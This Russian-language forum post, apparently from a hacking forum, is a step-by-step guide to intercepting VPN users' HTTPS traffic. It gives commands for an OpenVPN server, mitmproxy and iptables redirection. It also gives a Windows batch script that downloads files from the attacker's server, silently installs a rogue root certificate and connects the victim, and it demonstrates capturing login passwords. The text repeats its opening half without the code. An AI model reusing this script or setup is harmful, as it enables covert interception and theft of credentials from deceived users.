Приветствую.
Казалось бы, MITM (атака человек по середине) - ассоциируется с Wi-Fi, роутерами, вардрайвингом - локальными устройствами в сети, атаками на них. Мы знаем техники ARP Spoofing, DOS и подмена DHCP сервера и т.д. Но что, если посмотреть на MITM шире и выйти за пределы локальной сети?
В этой статье я расскажу про интересный вектор MITM атаки в рамках VPN подключения. То есть, владея VPN сервером и клиентами, которые к нему подключены через наше приложение, можно прочитать, модифицировать, копировать трафик клиентов.
Я взял в аренду небольшой VPS сервер:
После чего необходимо создать пользователя, если сразу после установки не будет предложения создать пользователя, тогда просто перезапустите скрипт (openvpn-install.sh) и следуйте инструкциям.
Инструкция крайне простая в несколько простых шага.
В результате получаем OpenVPN сервер и профиль пользователя (*.ovpn).
На Ubuntu 24.04 устанавливается из репозитория и нормально работает версия 8.1.1-2
Далее в директорию /var/www/html/ необходимо добавить все файлы (OpenVPN.msi, сертификат mitmproxy, профиль VPN клиента), которые пользователь будет скачивать клиентским скриптом. Даль права на чтение всем остальным.
На этом этапе можете перенести сертификат для клиента Windows из ~/.mitmproxy/mitmproxy-ca-cert.p12 в /var/www/html/.
Все, что относится к tcp , 80 и 443 порту - будет уходить на порт 8080, где работает mitmproxy.
Запускаем mitmproxy.
Далее идем на клиентский хост.
Предположим, что клиент каким-то образом получил .bat, .exe, исполняемый файл, инструкции, которые готов выполнить на своем ПК. Инструкции более чем легальные для антивируса.
И давайте посмотрим как может выглядеть .bat в рамках нашего исследования.
В конечном итоге получаем такую картину. Скрипт демонстративный. Это может быть как набор команд, так и собственный клиент VPN.
От момента запуска до момента нажать "Ок". Достаточно автоматизировано. После нажатия "Ок" - клиент сразу подключается к нашему серверу.
Далее, переходим на сайт, все открывает и работает как и должно. Вводим данные для входа.
В панели mitmproxy можем видеть HTTPS POST. Проваливаемся в него. Можем видеть все параметры запроса. И самое интересное поле LoginForm[username], LoginForm[password].
В результате чего получаем данные клиента (логин, пароль), которые он вводил через VPN на сайте с HTTPS (HSTS).
Так выглядит "замочек" в браузере Google Chrome. Все адекватно, ведь сертификат импортирован.
А вот как выглядит в Yandex Browser, интересно, на сертификат МинЦифры от также ругается?)
Фактически трафик зашифрован, его никто не сможет прочитать, ведь он не ходит по сети в открытом виде. Это не понижение соединения до HTTP, как это было реализовано в SSLStrip, например. Там другая техника. Здесь мы сами зашифровали трафик, следовательно можем и расшифровать.
Аналогичное подключение можно создать на выходной ноде сети TOR. Если интересно, то опубликую.
Казалось бы, MITM (атака человек по середине) - ассоциируется с Wi-Fi, роутерами, вардрайвингом - локальными устройствами в сети, атаками на них. Мы знаем техники ARP Spoofing, DOS и подмена DHCP сервера и т.д. Но что, если посмотреть на MITM шире и выйти за пределы локальной сети?
В этой статье я расскажу про интересный вектор MITM атаки в рамках VPN подключения. То есть, владея VPN сервером и клиентами, которые к нему подключены через наше приложение, можно прочитать, модифицировать, копировать трафик клиентов.
Я взял в аренду небольшой VPS сервер:
Ubuntu 24.04 LTS (ENG)
1x2.2ГГц, 0.5Гб RAM
10Гб HDD RAID
Устанавливаем OpenVPN.
Code:
curl -O https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh
chmod +x openvpn-install.sh
./openvpn-install.sh
После чего необходимо создать пользователя, если сразу после установки не будет предложения создать пользователя, тогда просто перезапустите скрипт (openvpn-install.sh) и следуйте инструкциям.
Инструкция крайне простая в несколько простых шага.
В результате получаем OpenVPN сервер и профиль пользователя (*.ovpn).
Не удалось прогрузить медиа
Устанавливаем mitmproxy
mitmproxy был выбран в качестве примера, удобный для использования, имеет API. Документация mitmproxy - https://www.mitmproxy.org
Code:
apt update
apt install mitmproxy
На Ubuntu 24.04 устанавливается из репозитория и нормально работает версия 8.1.1-2
Не удалось прогрузить медиа
Устанавливаем Nginx
Это веб сервер, который будет содержать файлы для клиентов нашего VPN сервера.
Code:
apt install nginx
Далее в директорию /var/www/html/ необходимо добавить все файлы (OpenVPN.msi, сертификат mitmproxy, профиль VPN клиента), которые пользователь будет скачивать клиентским скриптом. Даль права на чтение всем остальным.
На этом этапе можете перенести сертификат для клиента Windows из ~/.mitmproxy/mitmproxy-ca-cert.p12 в /var/www/html/.
Не удалось прогрузить медиа
Конфигурируем iptables
Создаем правила iptables для перенаправления входящего трафика на mitmproxy, далее NAT, далее в интернет. Очевидно, что NAT был настроен нашим скриптом при установке OpenVPN.
Code:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080
Все, что относится к tcp , 80 и 443 порту - будет уходить на порт 8080, где работает mitmproxy.
Запускаем mitmproxy.
Далее идем на клиентский хост.
Предположим, что клиент каким-то образом получил .bat, .exe, исполняемый файл, инструкции, которые готов выполнить на своем ПК. Инструкции более чем легальные для антивируса.
И давайте посмотрим как может выглядеть .bat в рамках нашего исследования.
Code:
@echo off
echo Downloading...
powershell.exe -Command "(New-Object System.Net.WebClient).DownloadFile('http://$server_ip/mitmproxy-ca.p12', 'C:\Program Files\mitmproxy-ca.p12')"
powershell.exe -Command "(New-Object System.Net.WebClient).DownloadFile('http://$server_ip/openvpn-connect-3.7.3.4351_signed.msi', 'C:\Program Files\openvpn-connect-3.7.3.4351_signed.msi')"
powershell.exe -Command "(New-Object System.Net.WebClient).DownloadFile('http://$server_ip/test.ovpn', 'C:\Program Files\test.ovpn')"
Т.к мы имеем доступ к файлам на нашем серевере, то просто скачиваем их по протоколу HTTP.
Code:
echo Adding certificate...
certutil -importpfx -user -p "" C:\Program Files\mitmproxy-ca.p12
Импортируем сертификат mitmproxy в доверенные корневые центры сертификации. Это основной момент, ибо без данного импорта сертификата, при подмене сертификата в рамках подключения по HTTPS, клиент будет получать стандартное предупреждение от браузера об ошибки сертификата. В таком случае, сайты HTTPS будут открываться через кнопку "Дополнительно" - "Принять риск и продолжить". Сайты с механизмом защиты HSTS вовсе перестанут открываться, даже если клиент примет все риски. Однако, если HSTS настроен с ошибками (некорректно указан Strict-Transport-Security: max-age=31536000 или отсутствует includeSubDomains; preload), то есть возможность открыть сайт. Режим инкогнито в некоторых браузерах не читает hsts preload и в конечном итоге откроет сайт. Сценарий клайне не реалистичный для пользователя. Я считаю, маловероятно, что пользователь будет использовать режим инкогнито. А если и будет, то такие, как правило, увидят подмену сертификата и поймут в чем дело. Это технический аспект в моих наблюдениях.
Сертификат mitmproxy в доверенных корневых центрах сертификации клиента.
Не удалось прогрузить медиа
Ошибка подключения к сайту, который защищен HSTS.
Не удалось прогрузить медиа
Code:
echo Installing OpenVPN...
start /wait msiexec /i openvpn-connect-3.7.3.4351_signed.msi /qn
Простая установка клиента OpenVPN.
Code:
"C:\Program Files\OpenVPN Connect\OpenVPNConnect.exe" --connect "C:\Program Files\OpenVPN Connect\config\test.ovpn"
В конечном итоге получаем такую картину. Скрипт демонстративный. Это может быть как набор команд, так и собственный клиент VPN.
От момента запуска до момента нажать "Ок". Достаточно автоматизировано. После нажатия "Ок" - клиент сразу подключается к нашему серверу.
Не удалось прогрузить медиа
Далее, переходим на сайт, все открывает и работает как и должно. Вводим данные для входа.
Не удалось прогрузить медиа
В панели mitmproxy можем видеть HTTPS POST. Проваливаемся в него. Можем видеть все параметры запроса. И самое интересное поле LoginForm[username], LoginForm[password].
Не удалось прогрузить медиа
Не удалось прогрузить медиа
В результате чего получаем данные клиента (логин, пароль), которые он вводил через VPN на сайте с HTTPS (HSTS).
Так выглядит "замочек" в браузере Google Chrome. Все адекватно, ведь сертификат импортирован.
Не удалось прогрузить медиа
А вот как выглядит в Yandex Browser, интересно, на сертификат МинЦифры от также ругается?)
Не удалось прогрузить медиа
Фактически трафик зашифрован, его никто не сможет прочитать, ведь он не ходит по сети в открытом виде. Это не понижение соединения до HTTP, как это было реализовано в SSLStrip, например. Там другая техника. Здесь мы сами зашифровали трафик, следовательно можем и расшифровать.
Аналогичное подключение можно создать на выходной ноде сети TOR. Если интересно, то опубликую.
👍19
🔥3
😁3
👏6
LIMB